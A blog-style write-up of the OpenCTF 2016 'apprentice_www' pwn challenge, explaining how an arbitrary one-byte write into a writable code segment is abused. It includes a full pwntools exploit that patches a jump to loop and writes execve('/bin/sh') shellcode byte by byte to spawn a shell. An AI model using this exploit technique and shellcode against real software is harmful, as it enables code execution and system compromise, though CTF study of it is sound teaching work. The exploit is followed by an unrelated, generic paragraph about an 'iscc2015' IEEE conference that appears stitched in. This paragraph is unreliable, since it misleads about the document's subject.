【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www

0x01 解题思路

  • 查看文件基本信息
    在这里插入图片描述

  • IDA查看

    main
    在这里插入图片描述

    setup
    在这里插入图片描述
    调用mprotect函数给.bss、.text、.data等段增加了可读可写可执行权限

    butterflySwag
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
      接收两次用户输入,第一次输入v1为一个地址,第二次输入v2为一个整数。之后会把v2的最低一个字节写入到v1指向的内存单元。这样就可以把shellcode写入到任意的可读可执行页。但是由于一次只能写入一个字节,需要跳转到第一个scanf执行之前循环接受输入。那么就可以把080485D9处的jnz短跳转指令的操作数修改一下,使其跳转至0804859D处循环执行写入shellcode。注意操作数的计算方式:跳转点地址-跳转指令的后一条指令的地址(单字节)。另外,输入的shellcode地址和shellcode单个字节都必须转成字符串。

0x02 EXP

#!/usr/bin/python
#coding:utf-8

from pwn import *

io = process('./apprentice_www')

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
jnz_param_addr = 0x080485DA
shellcode_addr = 0x080485DB

io.sendline(str(jnz_param_addr))
io.sendline(str(0xc2))

for i in range(len(shellcode)):
	io.sendline(str(shellcode_addr + i))
	io.sendline(str(ord(shellcode[i])))

io.sendline(str(jnz_param_addr))
io.sendline(str(0x00))

io.interactive()
iscc2015是国际信号与通信会议(International Symposium on Communication and Information Technologies)的官方writeup,在这个writeup,主要回顾了iscc2015会议的主要内容和成果。 iscc2015会议是由IEEE(Institute of Electrical and Electronics Engineers)主办的,旨在聚集来自全球的学者、研究人员和专业人士,共同探讨和交流关于通信和信息技术领域的最新研究和发展。 这个writeup首先介绍了iscc2015会议的背景和目标,提及了该会议为促进学术界和工业界之间的合作、创新和知识交流所做的努力。接着,该writeup详细描述了iscc2015会议的主要议题,包括通信网络、无线通信、数据通信和网络安全等方面。此外,还列举了一些重要的研究课题和领域,如物联网、云计算、移动通信和多媒体通信等。 iscc2015的writeup还总结了会议期间的重要活动和成果。这些活动包括学术论文的研讨会和展示、专题演讲、研讨会和研究项目的发布等。会议期间,各个领域的专家和学者积极参与并互相交流了关于通信和信息技术领域的最新研究成果和创新理念。 最后,iscc2015的官方writeup总结了会议的收获和影响。该会议为全球通信和信息技术领域的研究人员和专业人士提供了一个交流和合作的平台,推动了相关领域的发展和创新。此外,与会者还从获得了有关新技术、新方法和最佳实践的信息和经验。 总之,iscc2015官方writeup回顾了这个国际会议的主要内容和成果,强调了其在通信和信息技术领域的重要性和影响。通过促进学术界和工业界之间的交流与合作,这个会议为促进全球通信和信息技术领域的发展做出了贡献。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值